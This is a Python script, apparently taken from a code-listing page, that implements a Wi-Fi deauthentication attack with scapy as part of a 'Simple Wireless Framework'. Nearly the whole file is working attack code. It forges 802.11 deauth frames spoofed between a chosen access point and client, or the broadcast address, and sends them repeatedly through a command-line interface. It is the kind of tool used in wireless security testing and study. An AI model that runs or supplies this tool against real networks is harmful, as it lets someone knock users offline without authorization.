1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 | #!/usr/bin/python
from scapy.all import * import time import sys import optparse
""" =============================================================== ++++++++++++++++++++++++ READ ME ++++++++++++++++++++++++++++++ ===============================================================
This Script Is Part Of
+++++++++++++++++++++++++++++++++++++ Simple Wireless Framework +++++++++++++++++++++++++++++++++++++
Author :
Suraj Singh surajsinghbisht054@gmail.com www.bitforestinfo.com
""" # =================Other Configuration================ # Usages : usage = "usage: %prog [options] [AP_Mac_Address] [Interface_Name] " # Version Version="%prog 0.0.1" # ====================================================
# Required Data Feild Feild = { # Key Value Required 'count' : (5, False) , 'iface' : (None, True), 'ap' : (None, True), 'client' : (None, False), 'side' : ('ap', False), 'interval' : (0.5, False), 'deauth' : (1, False) }
# Wireless Deauth Main Class class WirelessDeauth: """
WirelessDeauth Class Allow Us To Send Wireless Deauth Packets Using scapy Module
""" def __init__(self, *args, **kwargs): self.args = args self.kwargs = kwargs self.start_process()
def start_process(self): """ Main Trigger Function
""" self.assign_variables() # Creating Packets side = self.kwargs.pop("side") self.deauth_packets(side=side) # Usable Variables ap = self.kwargs.pop("ap") client = self.kwargs.pop("client") interval = self.kwargs.pop("interval") deauth = self.kwargs.pop("deauth")
# Run Packet Sender self.packet_sender(deauth, interval) return
def packet_sender(self, deauth, interval): """ Function For Sending Packets """ for i in range(deauth): for pkt in self.ready_packets: sendp(pkt,**self.kwargs) time.sleep(interval) return
def deauth_packets(self, side='ap'): """ Creating Deauth Packet Creator
side : client : Target Client ap : Target Station both : Target Both
"""
if side=="client":
pkt = RadioTap()/Dot11(addr1=self.kwargs['ap'], addr2=self.kwargs['client'], addr3=self.kwargs['client'])/Dot11Deauth() self.ready_packets.append(pkt) elif side=="ap": pkt = RadioTap()/Dot11(addr1=self.kwargs['client'], addr2=self.kwargs['ap'], addr3=self.kwargs['ap'])/Dot11Deauth() self.ready_packets.append(pkt)
else: pkt = RadioTap()/Dot11(addr1=self.kwargs['ap'], addr2=self.kwargs['client'], addr3=self.kwargs['client'])/Dot11Deauth() self.ready_packets.append(pkt) pkt = RadioTap()/Dot11(addr1=self.kwargs['client'], addr2=self.kwargs['ap'], addr3=self.kwargs['ap'])/Dot11Deauth() self.ready_packets.append(pkt)
return
def assign_variables(self): """ Function For Assign Various Variables """
if "client" not in self.kwargs.keys(): # default value Of client keyword self.kwargs['client']="FF:FF:FF:FF:FF:FF"
if "count" not in self.kwargs.keys(): # default value of count keyword self.kwargs['count']=5
if "side" not in self.kwargs.keys(): # default value of count keyword self.kwargs['side']='ap'
if "interval" not in self.kwargs.keys(): # Default Value Of Interval self.kwargs['interval']=0.5
if "deauth" not in self.kwargs.keys(): # Default Value Of Deauth self.kwargs['deauth']=1
self.ready_packets=[] return
if __name__=="__main__": parser = optparse.OptionParser(usage, version=Version) parser.add_option("-a", "--accesspoint", action="store", type="string", dest="ap", help="Please Specify Access Point MAC Address.", default=None) parser.add_option("-c", "--client", action="store", type="string", dest="client", help="Please Specify Client MAC Address " , default = "FF:FF:FF:FF:FF:FF") parser.add_option("-t", "--count", action="store", type="int", dest="count", help="Please Specify Packet Numbers" , default=5) parser.add_option("-i", "--interval", action="store", type="float", dest="interval", help="Please Specify Interval Time" , default=0.5) parser.add_option("-d", "--deauth", action="store", type="int", dest="deauth", help="Please Specify Deauth Packets " , default=2) parser.add_option("-s", "--side", action="store", type="string", dest="side", help="Specify Target For Packet Sending : \nap = Access Point (default);\nclient = Client ;\n both = Access Point And CLient ;")
(option, args)=parser.parse_args() if not args or not option.ap: print " [*] Please Provide Required Inputs Or Use -h Or --help argument." sys.exit(0) kw = { # Key Value Required 'count' : option.count, 'iface' : args[0], 'ap' : option.ap, 'client' : option.client, 'side' : option.side, 'interval' : option.interval, 'deauth' : option.deauth, } WirelessDeauth(**kw) #WirelessDeauth(iface="mon0", ap="FF:FF:FF:FF:FF:FF", client="FF:FF:FF:FF:FF:FF", side="both")
|